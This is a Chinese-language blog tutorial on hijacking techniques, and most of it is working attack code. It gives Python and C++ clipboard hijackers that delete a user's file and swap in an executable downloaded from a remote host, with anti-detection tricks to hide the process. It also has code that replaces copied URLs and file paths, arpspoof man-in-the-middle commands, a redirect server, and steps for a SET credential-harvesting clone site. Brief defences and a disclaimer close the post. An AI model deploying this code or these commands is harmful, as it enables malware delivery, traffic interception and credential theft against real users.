劫持杂谈—被动逃逸
字数 1132 2025-08-22 12:23:24
劫持技术详解:被动逃逸与主动劫持
方法一:剪切板劫持(Windows环境)
1. 拦截Ctrl+C操作
Python实现方案
import os
import shutil
import requests
import time
import pyautogui
import keyboard
from tkinter import Tk
from tkinter.filedialog import askopenfilename
from pathlib import Path
def get_selected_file():
root = Tk()
root.withdraw()
selected_file = askopenfilename()
return selected_file
def download_and_rename_file(selected_file):
download_url = "http://192.168.1.1/1.exe"
file_name = os.path.basename(selected_file)
file_dir = os.path.dirname(selected_file)
new_file_path = os.path.join(file_dir, file_name)
response = requests.get(download_url, stream=True)
with open(new_file_path, 'wb') as file:
shutil.copyfileobj(response.raw, file)
def delete_file(file_path):
try:
os.remove(file_path)
except Exception as e:
print(f"删除文件失败: {e}")
def monitor():
while True:
if keyboard.is_pressed('ctrl+c'):
selected_file = get_selected_file()
if selected_file and os.path.isfile(selected_file):
delete_file(selected_file)
download_and_rename_file(selected_file)
time.sleep(1)
if __name__ == "__main__":
monitor()
关键点解析:
- 使用
keyboard模块监听Ctrl+C组合键 get_selected_file()通过Tkinter获取用户选择的文件路径- 删除原文件后从指定URL下载恶意文件并重命名为原文件名
- 打包为exe可执行文件可提高隐蔽性
C++优化实现
#include <iostream>
#include <fstream>
#include <string>
#include <windows.h>
#include <urlmon.h>
#include <shlobj.h>
#include <tchar.h>
#pragma comment(lib, "urlmon.lib")
bool deleteFile(const std::wstring& filePath) {
return DeleteFile(filePath.c_str());
}
bool downloadFile(const std::wstring& url, const std::wstring& savePath) {
return URLDownloadToFile(NULL, url.c_str(), savePath.c_str(), 0, NULL) == S_OK;
}
void monitorCtrlC() {
while (true) {
if (GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(0x43) & 0x8000) {
OPENFILENAME ofn;
wchar_t filePath[MAX_PATH] = L"";
ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.lpstrFilter = L"所有文件\0*.*\0";
ofn.lpstrFile = filePath;
ofn.nMaxFile = sizeof(filePath);
ofn.lpstrTitle = L"选择一个文件";
ofn.Flags = OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST;
if (GetOpenFileName(&ofn)) {
std::wstring selectedFile(filePath);
if (deleteFile(selectedFile)) {
std::wstring downloadUrl = L"http://192.168.1.1/1.exe";
std::wstring fileName = selectedFile.substr(selectedFile.find_last_of(L"\\") + 1);
std::wstring savePath = selectedFile.substr(0, selectedFile.find_last_of(L"\\")) + L"\\" + fileName;
downloadFile(downloadUrl, savePath);
}
}
Sleep(1000);
}
Sleep(50);
}
}
int main() {
monitorCtrlC();
return 0;
}
增强功能:
- 使用Windows API直接操作文件系统
- 通过
GetAsyncKeyState检测按键状态 - 更低的资源占用和更高的执行效率
- 可编译为原生Windows程序,无需依赖
后台执行与反检测机制
#include <thread>
void monitorCtrlC() {
int ctrlCCount = 0;
while (true) {
if (GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(0x43) & 0x8000) {
ctrlCCount++;
if (ctrlCCount >= 2) {
Sleep(20000); // 休眠20秒
ctrlCCount = 0;
} else {
// 正常处理逻辑
}
Sleep(1000);
}
Sleep(50);
}
}
int APIENTRY wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow) {
std::thread monitorThread(monitorCtrlC);
monitorThread.detach();
while (true) {
Sleep(10000);
}
return 0;
}
反检测策略:
- 使用Windows GUI项目模板隐藏控制台窗口
- 分离线程在后台运行
- 双击Ctrl+C触发20秒休眠,避免频繁操作引起怀疑
- 低CPU占用设计
2. 剪贴板内容劫持
URL替换技术
#include <regex>
bool isValidDomain(const std::string& str) {
std::regex domainRegex("^(https?://)?([a-zA-Z0-9-]+\\.)+[a-zA-Z]{2,}(/.*)?$");
return std::regex_match(str, domainRegex);
}
void replaceClipboardContent() {
if (!OpenClipboard(nullptr)) return;
HANDLE hData = GetClipboardData(CF_TEXT);
if (hData) {
char* pszText = static_cast<char*>(GlobalLock(hData));
if (pszText) {
std::string clipboardText(pszText);
if (isValidDomain(clipboardText)) {
std::string newUrl = (clipboardText.find("http") == 0) ?
"https://www.baidu.com" : "www.baidu.com";
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, newUrl.size() + 1);
if (hMem) {
memcpy(GlobalLock(hMem), newUrl.c_str(), newUrl.size() + 1);
GlobalUnlock(hMem);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
}
}
GlobalUnlock(hData);
}
}
CloseClipboard();
}
技术要点:
- 使用正则表达式验证剪贴板内容是否为有效URL
- 保留原URL协议头(http/https)的一致性
- 完整的内存管理流程:分配→锁定→写入→解锁
- 剪贴板操作的标准流程:打开→清空→设置→关闭
文件路径替换技术
void SetFilePathToClipboard(const std::string& filePath) {
if (!OpenClipboard(NULL)) return;
EmptyClipboard();
size_t len = filePath.length() + 1;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
if (hMem) {
memcpy(GlobalLock(hMem), filePath.c_str(), len);
GlobalUnlock(hMem);
SetClipboardData(CF_HDROP, hMem);
}
CloseClipboard();
}
int main() {
if (OpenClipboard(NULL)) {
if (IsClipboardFormatAvailable(CF_HDROP)) {
HANDLE hData = GetClipboardData(CF_HDROP);
if (hData) {
char* pFilePath = (char*)GlobalLock(hData);
if (pFilePath) {
SetFilePathToClipboard("D://1.exe");
GlobalUnlock(hData);
}
}
}
CloseClipboard();
}
return 0;
}
关键细节:
- 使用CF_HDROP格式处理文件路径
- 检查剪贴板中是否存在文件路径数据
- 将恶意文件路径设置为剪贴板内容
- 适用于文件复制粘贴场景的劫持
方法二:中间人攻击(Linux环境)
1. ARP欺骗与流量重定向
基础ARP欺骗
# 安装所需工具
sudo apt-get install dsniff
# 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP欺骗目标机器(192.168.10.5),使其网关流量经过攻击机
arpspoof -i eth0 -t 192.168.10.5 192.168.10.1
# 反向ARP欺骗网关,使返回流量也经过攻击机
arpspoof -i eth0 -t 192.168.10.1 192.168.10.5
原理说明:
- 通过伪造ARP响应包修改目标主机的ARP缓存表
- 使目标主机将攻击机误认为网关
- 开启IP转发使流量正常流通,避免网络中断引起怀疑
流量重定向到伪造网站
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
# 将所有HTTP请求重定向到百度
self.send_response(302)
self.send_header('Location', 'https://www.baidu.com')
self.end_headers()
def run(server_class=HTTPServer, handler_class=RedirectHandler, port=80):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
httpd.serve_forever()
if __name__ == "__main__":
run()
攻击流程:
- 先实施ARP欺骗使流量经过攻击机
- 运行重定向服务将所有HTTP请求转向目标网站
- 可结合SSLStrip等工具处理HTTPS连接
2. 社会工程学工具包(SET)伪造网站
# 启动SET工具
setoolkit
# 选择攻击类型流程:
1. Social-Engineering Attacks
2. Website Attack Vectors
3. Credential Harvester Attack Method
4. Web Templates
5. 选择要仿冒的网站模板(如百度)
6. 设置监听IP(0.0.0.0)
高级配置选项:
- 克隆真实网站功能:可指定任意URL进行完整克隆
- 表单字段定制:修改登录表单提交行为
- 凭证收集:自动保存用户输入的用户名密码
- 恶意文件投递:结合文件下载功能传播恶意软件
防御措施
针对剪切板劫持的防护
- 使用剪贴板内容监控工具
- 禁用不必要的剪贴板访问权限
- 安装可信的安全软件
- 对异常进程行为保持警惕
针对MITM攻击的防护
- 部署ARP监控工具(如ARPWatch)
- 使用静态ARP表项
- 强制使用HTTPS并启用HSTS
- 部署网络入侵检测系统
- 定期检查网络流量异常
法律与道德声明
本文所述技术仅供安全研究、防御测试和教育用途。未经授权对他人系统实施这些技术可能违反法律。使用者应确保自己的行为符合所在地法律法规,并取得必要的授权。任何滥用这些技术造成的后果由使用者自行承担。